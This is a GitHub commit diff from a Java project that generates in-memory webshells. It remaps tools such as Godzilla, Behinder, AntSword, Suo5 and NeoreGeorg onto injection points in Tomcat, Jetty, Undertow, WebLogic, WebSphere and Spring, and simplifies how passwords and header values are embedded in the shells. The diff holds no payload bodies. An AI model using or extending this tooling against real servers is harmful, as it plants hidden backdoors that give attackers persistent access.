Skip to content

Commit 639ea80

Browse files
committed
feat: default asm agent
1 parent 31db4af commit 639ea80

File tree

140 files changed

+5106
-5548
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

140 files changed

+5106
-5548
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/Server.java

+44-56
Original file line numberDiff line numberDiff line change
@@ -2,27 +2,11 @@
22

33
import com.reajason.javaweb.memshell.server.*;
44
import com.reajason.javaweb.memshell.shelltool.antsword.*;
5-
import com.reajason.javaweb.memshell.shelltool.antsword.jetty.AntSwordHandlerAdvisor;
6-
import com.reajason.javaweb.memshell.shelltool.antsword.undertow.AntSwordServletInitialHandlerAdvisor;
75
import com.reajason.javaweb.memshell.shelltool.behinder.*;
8-
import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdvisor;
9-
import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
106
import com.reajason.javaweb.memshell.shelltool.command.*;
11-
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
12-
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor;
13-
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor;
14-
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
157
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
16-
import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
17-
import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
18-
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgFilter;
19-
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgListener;
20-
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgServlet;
21-
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgValve;
22-
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
23-
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
24-
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
25-
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
8+
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
9+
import com.reajason.javaweb.memshell.shelltool.suo5.*;
2610
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
2711
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
2812
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
@@ -34,15 +18,12 @@
3418
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
3519
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
3620
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
37-
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
3821
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
3922
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
40-
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
4123
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
4224
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
4325
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
4426
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
45-
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
4627
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
4728
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
4829
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
@@ -163,17 +144,17 @@ public enum Server {
163144
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
164145
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
165146
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
166-
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, GodzillaServletAdvisor.class)
147+
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Godzilla.class)
167148
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
168149
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
169150
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
170151
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
171-
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
172-
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
173-
.addShellClass(JETTY_AGENT_HANDLER, GodzillaHandlerAdvisor.class)
174-
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaServletInitialHandlerAdvisor.class)
175-
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, GodzillaFilterChainAdvisor.class)
176-
.addShellClass(WAS_AGENT_FILTER_MANAGER, GodzillaFilterChainAdvisor.class)
152+
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
153+
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
154+
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
155+
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
156+
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
157+
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
177158
.build());
178159

179160
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -189,13 +170,13 @@ public enum Server {
189170
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
190171
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
191172
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
192-
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, BehinderServletAdvisor.class)
193-
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
194-
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
195-
.addShellClass(JETTY_AGENT_HANDLER, BehinderHandlerAdvisor.class)
196-
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderServletInitialHandlerAdvisor.class)
197-
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, BehinderFilterChainAdvisor.class)
198-
.addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
173+
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Behinder.class)
174+
.addShellClass(AGENT_FILTER_CHAIN, Behinder.class)
175+
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Behinder.class)
176+
.addShellClass(JETTY_AGENT_HANDLER, BehinderJettyHandler.class)
177+
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
178+
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
179+
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
199180
.build());
200181

201182
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
@@ -205,13 +186,13 @@ public enum Server {
205186
.addShellClass(VALVE, AntSwordValve.class)
206187
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
207188
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
208-
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
209-
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
210-
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
211-
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
212-
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
213-
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
214-
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
189+
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class)
190+
.addShellClass(AGENT_FILTER_CHAIN, AntSword.class)
191+
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSword.class)
192+
.addShellClass(JETTY_AGENT_HANDLER, AntSwordJettyHandler.class)
193+
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
194+
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
195+
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
215196
.build());
216197

217198
addToolMapping(ShellTool.Command, ToolMapping.builder()
@@ -229,24 +210,17 @@ public enum Server {
229210
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
230211
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
231212
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
232-
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class)
233-
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class)
213+
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChain.class)
234214
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
235215
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
236216
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
237217
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
238-
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
239-
.addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class)
240-
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
241-
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
242-
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
243-
.addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class)
244-
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
245-
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
246-
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
247-
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class)
248-
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
249-
.addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class)
218+
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChain.class)
219+
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChain.class)
220+
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
221+
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
222+
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChain.class)
223+
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChain.class)
250224
.build());
251225

252226
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -262,7 +236,14 @@ public enum Server {
262236
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
263237
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
264238
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
239+
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5.class)
265240
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
241+
.addShellClass(AGENT_FILTER_CHAIN, Suo5.class)
242+
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5.class)
243+
.addShellClass(JETTY_AGENT_HANDLER, Suo5JettyHandler.class)
244+
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
245+
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
246+
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
266247
.build());
267248

268249
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
@@ -278,6 +259,13 @@ public enum Server {
278259
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
279260
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
280261
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
262+
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, NeoreGeorg.class)
263+
.addShellClass(AGENT_FILTER_CHAIN, NeoreGeorg.class)
264+
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, NeoreGeorg.class)
265+
.addShellClass(JETTY_AGENT_HANDLER, NeoreGeorgJettyHandler.class)
266+
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
267+
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
268+
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
281269
.build());
282270
}
283271
}

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

-8
Original file line numberDiff line numberDiff line change
@@ -19,27 +19,19 @@ public class ShellType {
1919
public static final String NETTY_HANDLER = "NettyHandler";
2020

2121
public static final String AGENT = "Agent";
22-
public static final String ASM = "ASM";
2322

2423
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
25-
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
2624
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
27-
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
2825
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
29-
public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM;
3026
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
31-
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
3227
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
33-
public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM;
3428
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
35-
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM;
3629

3730
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
3831
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
3932
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
4033
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
4134
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
42-
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM;
4335

4436
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
4537
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";

generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java

+1-12
Original file line numberDiff line numberDiff line change
@@ -49,20 +49,9 @@ public DynamicType.Builder<?> getBuilder() {
4949
builder = LogRemoveMethodVisitor.extend(builder);
5050
}
5151

52-
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
53-
builder = builder.visit(
54-
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
55-
put("pass", antSwordConfig.getPass());
56-
put("headerName", antSwordConfig.getHeaderName());
57-
put("headerValue", antSwordConfig.getHeaderValue());
58-
}})
59-
);
60-
} else {
61-
builder = builder.field(named("pass")).value(antSwordConfig.getPass())
52+
return builder.field(named("pass")).value(antSwordConfig.getPass())
6253
.field(named("headerName")).value(antSwordConfig.getHeaderName())
6354
.field(named("headerValue")).value(antSwordConfig.getHeaderValue());
64-
}
65-
return builder;
6655
}
6756

6857
public byte[] getBytes() {

generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java

+3-18
Original file line numberDiff line numberDiff line change
@@ -1,20 +1,16 @@
11
package com.reajason.javaweb.memshell.generator;
22

33
import com.reajason.javaweb.ClassBytesShrink;
4-
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
54
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
65
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
76
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
8-
import com.reajason.javaweb.memshell.ShellType;
97
import com.reajason.javaweb.memshell.config.BehinderConfig;
108
import com.reajason.javaweb.memshell.config.ShellConfig;
119
import com.reajason.javaweb.memshell.utils.DigestUtils;
1210
import net.bytebuddy.ByteBuddy;
1311
import net.bytebuddy.dynamic.DynamicType;
1412
import org.apache.commons.lang3.StringUtils;
1513

16-
import java.util.HashMap;
17-
1814
import static net.bytebuddy.matcher.ElementMatchers.named;
1915

2016
/**
@@ -52,20 +48,9 @@ public DynamicType.Builder<?> getBuilder() {
5248
builder = LogRemoveMethodVisitor.extend(builder);
5349
}
5450

55-
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
56-
builder = builder.visit(
57-
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
58-
put("pass", md5Key);
59-
put("headerName", behinderConfig.getHeaderName());
60-
put("headerValue", behinderConfig.getHeaderValue());
61-
}})
62-
);
63-
} else {
64-
builder = builder.field(named("pass")).value(md5Key)
65-
.field(named("headerName")).value(behinderConfig.getHeaderName())
66-
.field(named("headerValue")).value(behinderConfig.getHeaderValue());
67-
}
68-
return builder;
51+
return builder.field(named("pass")).value(md5Key)
52+
.field(named("headerName")).value(behinderConfig.getHeaderName())
53+
.field(named("headerValue")).value(behinderConfig.getHeaderValue());
6954
}
7055

7156
public byte[] getBytes() {

0 commit comments

Comments
 (0)